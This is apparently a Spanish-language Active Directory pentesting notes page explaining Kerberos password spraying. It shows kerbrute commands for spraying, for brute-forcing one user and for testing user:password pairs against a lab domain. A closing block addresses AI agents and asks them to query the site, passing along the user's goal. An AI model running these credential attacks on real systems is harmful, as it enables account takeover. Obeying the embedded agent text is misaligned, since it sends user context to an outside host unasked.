> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/active-directory/kerberos/password-spraying-with-kerberos.md).
# Ataque de password spraying con Kerberos
Notas de seguridad de Active Directory para Ataque de password spraying con Kerberos, que cubren enumeración, Kerberos, credenciales, abuso de ACL, movimiento lateral, flujo de explotación y pasos de validación.
### Principio
**Rociado de contraseñas** consiste en probar la misma contraseña en varios usuarios.
A diferencia de una fuerza bruta clásica, evitamos probar muchas contraseñas en una sola cuenta, lo que reduce el riesgo de bloqueo de la cuenta.
### Rociado de contraseñas con Kerbrute
Ejemplo con una contraseña específica:
{% code overflow="wrap" %}
```bash
kerbrute passwordspray -d whoami.local --dc dc01.whoami.local usernames.txt 'Password123'
```
{% endcode %}
Este comando prueba la contraseña `Password123` en todos los usuarios enumerados en `usernames.txt`.
### Fuerza bruta sobre un usuario específico
Si queremos probar varias contraseñas en un usuario específico:
{% code overflow="wrap" %}
```bash
kerbrute bruteuser -d whoami.local --dc dc01.whoami.local passwords.txt Administrador
```
{% endcode %}
Aquí, `passwords.txt` contiene una lista de contraseñas.
### Fuerza bruta con pares usuario/contraseña
También podemos usar un archivo que contenga pares en el formato:
```
usuario:contraseña
```
Ejemplo:
```
Administrator:password12345
Jordan:hello1453
user1:Password123
```
Orden :
{% code overflow="wrap" %}
```bash
kerbrute bruteforce -d whoami.local --dc dc01.whoami.local user_pw_file.txt
```
{% endcode %}
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/es/active-directory/kerberos/password-spraying-with-kerberos.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)